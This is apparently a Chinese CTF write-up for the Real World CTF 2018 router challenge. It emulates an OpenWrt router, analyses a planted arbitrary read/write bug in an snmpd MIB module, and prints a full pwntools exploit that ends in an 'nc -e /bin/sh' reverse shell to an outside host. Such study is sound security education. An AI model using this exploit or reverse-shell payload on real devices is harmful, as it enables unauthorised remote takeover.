Real World Finals 2018 Router

PWN, Router

router

Building Environment

搭建整个模拟路由环境并启动snmp服务
路由器版本:

1
2
Netgear R6300 v2
#https://openwrt.org/toh/netgear/netgear_r6300_v2

首先下载openwrt的源码(18.06.1和18.06.2皆可，只是最后EXP中偏移可能不同)
配置config：

1
2
3
4
Target System: BCM47XX/53XX
Target Profile: Netgear R6300 v2
Target Images: squashfs //生成文件系统即可
Development: gdb&&gdbserver //便于后续调试

而后保存配置并编译
在编译好的文件中找到编译好的文件系统：

1
2
3
# ls
bin  etc  mnt      proc  root  sys  usr  www
dev  lib  overlay  rom   sbin  tmp  var

有两个思路：

1
2
通过文件系统制作镜像，再用qemu启动 #没有成功
在qemu启动的arm虚拟机或者可以运行arm的环境下chroot开启整个环境

我选择直接在树莓派中搭建环境
(也可以在qemu system mode下的arm虚拟机中启动，后面有说明)
将文件系统整个放入树莓派中(包括比赛的两个ipk包)：
而后配置chroot环境：

1
2
3
4
5
sudo mount proc chroot_dir/proc -t proc
sudo mount sysfs  chroot_dir/sys -t sysfs
cp  /etc/hosts  chroot_dir/etc/hosts  #配置网络环境
编辑 chroot_dir/etc/resolv.conf:  #配置DNS环境
nameserver 8.8.8.8

开启chroot环境：

1
sudo chroot  .  ./bin/sh

而后安装比赛的snmp环境：

1
2
3
opkg install ./libnetsnmp_5.8-1_arm_cortex-a9.ipk
opkg install ./snmpd_5.8-1_arm_cortex-a9.ipk
#可能存在报错无法建立配置文件，在var下建立run文件夹即可

确认snmp服务启动：
路由器环境端:

1
2
3
4
/ # netstat -anp|grep snmpd
udp        0      0 0.0.0.0:161             0.0.0.0:*                           1922/snmpd
udp        0      0 :::161                  :::*                                1922/snmpd
unix  2      [ ACC ]     STREAM     LISTENING      18493 1922/snmpd          /var/run/agentx.sock

本机端：

1
2
3
4
kirin@kirin-virtual-machine:~$ snmpwalk -v 1 -c public 192.168.137.33  .1
iso.3.6.1.4.1.2021.13.32.1.0 = INTEGER: 0
iso.3.6.1.4.1.2021.13.32.2.0 = INTEGER: 1996043560
End of MIB

同样得，在qemu system模式下启动的arm虚拟机也可以启动服务：

1
2
3
4
5
6
7
下载内核&&镜像
https://people.debian.org/~aurel32/qemu/armhf/
配置qemu虚拟机网络：
https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/
启动qemu虚拟机：
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2"  -net nic,macaddr=00:16:3e:00:00:01 -net tap 
启动服务后同样配置chroot环境运行即可

Find R/W at Any Address in MIB

在搭建的路由器环境下gdbserver运行snmpd，IDA下动态调试追踪程序流
可以看到snmp服务会先初始化mib，agent等环境：

1
2
3
4
LOAD:000125B8 BL              init_mib_modules
LOAD:000125BC LDR             R0, [R10]
LOAD:000125C0 BL              init_snmp
LOAD:000125C4 BL              init_master_agent

在init_mib_modules中可以看到：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int init_mib_modules()
{
  int result; // r0
  int v1; // r3

  result = should_init();
  if ( result )
    result = j_init_greatSensors();
  v1 = dword_1102C;
  dword_11028 = 1;
  if ( !dword_1102C )
  {
    dword_1102C = 1;
    result = snmp_register_callback(v1, 2, (int)sub_9D4);
    if ( result )
      result = snmp_log(3, "error registering for SHUTDOWN callback for mib modules\n");
  }
  return result;
}

其会先调用init_greatSensors()注册回调函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
LOAD:000008E0 init_greatSensors                       ; CODE XREF: j_init_greatSensors+8↑j
LOAD:000008E0                                         ; DATA XREF: LOAD:000002D8↑o ...
LOAD:000008E0
LOAD:000008E0 var_70          = -0x70
LOAD:000008E0 var_64          = -0x64
LOAD:000008E0 var_60          = -0x60
LOAD:000008E0 var_38          = -0x38
LOAD:000008E0
LOAD:000008E0                 LDR             R12, =(dword_A88 - 0x8FC)
LOAD:000008E4                 STMFD           SP!, {R4,R5,LR}
LOAD:000008E8                 SUB             SP, SP, #0x64
LOAD:000008EC                 ADD             LR, SP, #0x70+var_60
LOAD:000008F0                 LDR             R5, =(_GLOBAL_OFFSET_TABLE_ - 0x90C)
LOAD:000008F4                 ADD             R12, PC, R12 ; dword_A88
LOAD:000008F8                 MOV             R4, R12
LOAD:000008FC                 ADD             R12, R12, #0x28
LOAD:00000900                 LDMIA           R4!, {R0-R3}
LOAD:00000904                 ADD             R5, PC, R5 ; _GLOBAL_OFFSET_TABLE_
LOAD:00000908                 STMIA           LR!, {R0-R3}
LOAD:0000090C                 LDMIA           R4!, {R0-R3}
LOAD:00000910                 STMIA           LR!, {R0-R3}
LOAD:00000914                 LDMIA           R4, {R0,R1}
LOAD:00000918                 MOV             R4, #3
LOAD:0000091C                 STMIA           LR, {R0,R1}
LOAD:00000920                 ADD             LR, SP, #0x70+var_38
LOAD:00000924                 LDMIA           R12!, {R0-R3}
LOAD:00000928                 STMIA           LR!, {R0-R3}
LOAD:0000092C                 LDMIA           R12!, {R0-R3}
LOAD:00000930                 STMIA           LR!, {R0-R3}
LOAD:00000934                 ADD             R2, SP, #0x70+var_60
LOAD:00000938                 LDMIA           R12, {R0,R1}
LOAD:0000093C                 LDR             R3, =(off_10FFC - 0x10FAC)
LOAD:00000940                 STMIA           LR, {R0,R1}
LOAD:00000944                 LDR             R0, =(aGreatmiscsenso - 0x958)
LOAD:00000948                 LDR             R3, [R5,R3] ; handle_greatMiscSensorsDevice
LOAD:0000094C                 STR             R4, [SP,#0x70+var_70]
LOAD:00000950                 ADD             R0, PC, R0 ; "greatMiscSensorsDevice"
LOAD:00000954                 STR             R3, [SP,#0x70+var_64]
LOAD:00000958                 MOV             R3, #0xA
LOAD:0000095C                 LDR             R1, [SP,#0x70+var_64]
LOAD:00000960                 BL              netsnmp_create_handler_registration
LOAD:00000964                 BL              netsnmp_register_scalar
LOAD:00000968                 LDR             R3, =(off_10FF0 - 0x10FAC)
LOAD:0000096C                 ADD             R2, SP, #0x70+var_38
LOAD:00000970                 LDR             R0, =(aGreatmiscsenso_0 - 0x980)
LOAD:00000974                 LDR             R3, [R5,R3] ; handle_greatMiscSensorsIndex
LOAD:00000978                 ADD             R0, PC, R0 ; "greatMiscSensorsIndex"
LOAD:0000097C                 STR             R4, [SP,#0x70+var_70]
LOAD:00000980                 STR             R3, [SP,#0x70+var_64]
LOAD:00000984                 MOV             R3, #0xA
LOAD:00000988                 LDR             R1, [SP,#0x70+var_64]
LOAD:0000098C                 BL              netsnmp_create_handler_registration
LOAD:00000990                 BL              netsnmp_register_scalar
LOAD:00000994                 MOV             R0, #0x78 ; 'x' ; size_t
LOAD:00000998                 BL              malloc
LOAD:0000099C                 LDR             R3, =(vla_str - 0x9AC)
LOAD:000009A0                 MOV             R2, #0
LOAD:000009A4                 ADD             R3, PC, R3 ; vla_str
LOAD:000009A8                 STR             R0, [R3,#(mib_address - 0x11020)]
LOAD:000009AC                 STR             R2, [R3]
LOAD:000009B0                 ADD             SP, SP, #0x64
LOAD:000009B4                 LDMFD           SP!, {R4,R5,PC}
LOAD:000009B4 ; End of function init_greatSensors

可以看到其注册了两个回调函数，动态调试下看到注册过程：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall sub_76F59344(int a1, int a2, int a3, int a4)
{
  int v4; // r5@1
  int v5; // r6@1
  int v6; // r7@1
  int v7; // r4@1
  int v8; // r5@2

  v4 = a1;
  v5 = a3;
  v6 = a4;
  v7 = ((int (__cdecl *)(int, int, int))unk_76F4D74C)(a1, a2, a3);
  if ( v7 )
  {
    v8 = ((int (__fastcall *)(int, int, int, int))unk_76F4C0D8)(v4, v7, v5, v6);
    if ( !v8 )
      ((void (__fastcall *)(int))unk_76F4C228)(v7);
  }
  else
  {
    v8 = 0;
  }
  return v8;
}

首先是写入函数地址：
address
而后函数名称：
function name
而后mib对象对应的OID：
OID
可以看到此OID：1.3.6.1.4.1.2021.13.32.2.0
当利用snmpset/snmpget对此对象进行读写操作时，会利用netsnmp_call_handler函数处理对象，最终调用对应此OID的回调函数：handle_greatMiscSensorsDevice函数
netsnmp_call_handler关键部分：

1
2
3
4
5
6
v10 = (int (__fastcall *)(int *, int, int *, int))v8[3];
if ( !v10 )
        break;
se_find_label_in_slist((int)"agent_mode", *v6);
result = v10(v8, v9, v6, v7);
v12 = v8[2];

同样另一个回调函数handle_greatMiscSensorsIndex对应OID：
OID
即：1.3.6.1.4.1.2021.13.32.1.0
这时候关注两个回调函数，发现了任意地址读写：
handle_greatMiscSensorsDevice：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int __fastcall handle_greatMiscSensorsDevice(int a1, int a2, signed int *a3, _DWORD *a4)
{
  signed int v4; // r4
  int result; // r0
  int v6; // r0
  int v7; // r3
  const char *v8; // r2
  int v9; // r1

  v4 = *a3;
  if ( *a3 == 2 )
  {
    if ( vla_str <= 29 )
    {
      *(_DWORD *)(mib_address + 4 * vla_str) = **(_DWORD **)(*a4 + 16);
      return 0;
    }
LABEL_15:
    netsnmp_set_request_error();
    return 0;
  }
  if ( *a3 > 2 )
  {
    if ( v4 > 5 )
    {
      if ( v4 != 160 )
        goto LABEL_5;
      v6 = *a4;
      if ( vla_str > 29 )
      {
        v7 = 7;
        v9 = 4;
        v8 = "Go Back";
      }
      else
      {
        v7 = 4;
        v8 = (const char *)(mib_address + 4 * vla_str);
        v9 = 2;
      }
      snmp_set_var_typed_value(v6, v9, (int)v8, v7);
    }
    return 0;
  }
  if ( v4 )
  {
    if ( v4 != 1 )
    {
LABEL_5:
      snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", *a3);
      return 5;
    }
    return 0;
  }
  result = netsnmp_check_vb_type(*a4, 2);
  if ( result )
    goto LABEL_15;
  return result;
}

handle_greatMiscSensorsIndex:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __fastcall handle_greatMiscSensorsIndex(int a1, int a2, signed int *a3, _DWORD *a4)
{
  signed int v4; // r4
  int result; // r0

  v4 = *a3;
  if ( *a3 == 2 )
  {
    vla_str = **(_DWORD **)(*a4 + 16);
    return 0;
  }
  if ( *a3 > 2 )
  {
    if ( v4 > 5 )
    {
      if ( v4 != 0xA0 )
        goto LABEL_5;
      snmp_set_var_typed_value(*a4, 2, (int)&vla_str, 4);// (netsnmp_variable_list *newvar, u_char type, const void *val_str, size_t val_len)
    }
    return 0;
  }
  if ( v4 )
  {
    if ( v4 != 1 )
    {
LABEL_5:
      snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", *a3);
      return 5;
    }
    return 0;
  }
  result = netsnmp_check_vb_type(*a4, 2);
  if ( result )
  {
    netsnmp_set_request_error();
    return 0;
  }
  return result;
}

可以看到handle_greatMiscSensorsDevice中：
当使用snmpset写对象时，

1
2
3
4
5
6
7
8
#*a3从0循环->0 1 2 3 0 1 2 3......
  if ( *a3 == 2 )
  {
    if ( vla_str <= 29 )
    {
      *(_DWORD *)(mib_address + 4 * vla_str) = **(_DWORD **)(*a4 + 16);
      return 0;
    }

mid_address是在snmp服务启动mib初始化时在init_greatSensors中：

1
2
3
result = malloc(0x78u);
mib_address = (int)result;
vla_str = 0;

而val_str在handle_greatMiscSensorsIndex中可以进行设置：

1
vla_str = **(_DWORD **)(*a4 + 16);

即我们对OID对象1.3.6.1.4.1.2021.13.32.1.0设置的值
所以当我们依次调用handle_greatMiscSensorsIndex进行设置vla_str，此值只需小于29(在这里设置为负数即可)，而后调用handle_greatMiscSensorsDevice即可实现任意地址写
任意地址读相同原理，当snmpget读取对象时，会调用：

1
2
3
#v8 = (const char *)(mib_address + 4 * vla_str);
#这里同样检测vla_str是否大于29，设置为负数即可
snmp_set_var_typed_value(v6, v9, (int)v8, v7)

即会将对象的值设置我们构造地址处的值
而后取出对象value返回给snmpget完成任意地址读

POC

首先需要leak libc
想到注册回调函数位置
利用任意地址读找到注册函数保存地址来leak libc

1
hex(0x76F5F9F0-0x76F5F40c)=0x5e4

而后再次利用handle来劫持程序流，即netsnmp_call_handler中：

1
2
3
4
5
6
v10 = (int (__fastcall *)(int *, int, int *, int))v8[3];
if ( !v10 )
        break;
se_find_label_in_slist((int)"agent_mode", *v6);
result = v10(v8, v9, v6, v7);
v12 = v8[2];

这时候只需要事先布置好一条ROP链，最后将handle改为我们的rop chain地址即可劫持程序流，最终达到RCE：

1
2
3
4
5
6
7
ROPgadget  --binary ./libc.so 
......
0x000596bc : ldr r3, [pc, #0x3c] ; ldr r2, [pc, #0x3c] ; add r3, pc, r3 ; ldr r0, [pc, r2] ; ldr r3, [r3] ; blx r3
......
在这里可以先将r3，r2值分别设置为&system function,&shell
修改handle并再次对snmp对象操作便可达到RCE
#也可以选择其他ROP链，构造可以system(shell)即可

最终POC：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#针对我模拟的路由环境,具体情况可能需要修改偏移
from pwn import *
import sys
import os
#context.log_level="debug"
def read(ip,offset):
   cmd1="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0 i %s" %(ip,offset/4)
   cmd2="snmpget -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.2.0"   %ip
   os.system(cmd1)
   p2=process(cmd2,shell=True)
   p2.recvuntil("INTEGER: ")
   leak=int(p2.recvuntil("\n").strip())
   p2.close()
   return leak

def write(ip,offset,note):
   cmd1="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0 i %s" %(ip,offset/4)
   cmd2="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.2.0 i %s"  %(ip,note)
   os.system(cmd1)
   sleep(0.5)
   os.system(cmd2)

def get_shell(ip):
   cmd="snmpget -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0"   %ip
   os.system(cmd)

if __name__=="__main__":
    ip=sys.argv[1]
    #leak addr
    handle_addr=read(ip,-0x5e4)
    mibso_base=handle_addr-0x818
    libcso_base=handle_addr+0x507e8
    log.info("mibso_base="+hex(mibso_base))
    log.info("libcso_base="+hex(libcso_base))
    system_addr=libcso_base+0x43210
    ropchain_addr=libcso_base+0x596bc
    r3_addr=libcso_base+0x80394
    r2_addr=libcso_base+0x80398
    
    #build rop chain
    base=mibso_base+0xd29f0
    cmd_addr=libcso_base+0x80420
    write(ip,r3_addr-base,system_addr)
    write(ip,r2_addr-base,cmd_addr)
    cmd="nc -e /bin/sh 192.168.160.131 1234\x00" #the shell you want run in router
    #padding
    cmd+="1"
    time=len(cmd)/4
    cmd=cmd.ljust((time+1)*4,"1")
    for i in range(time):
          write(ip,cmd_addr+i*4-base,u32(cmd[i*4:i*4+4]))
    write(ip,-0x5e4,ropchain_addr)
    get_shell(ip)

Run POC&&Get Shell

1
python payload.py  router_ip

PWN

1
2
文章首发先知社区：
https://xz.aliyun.com/t/4578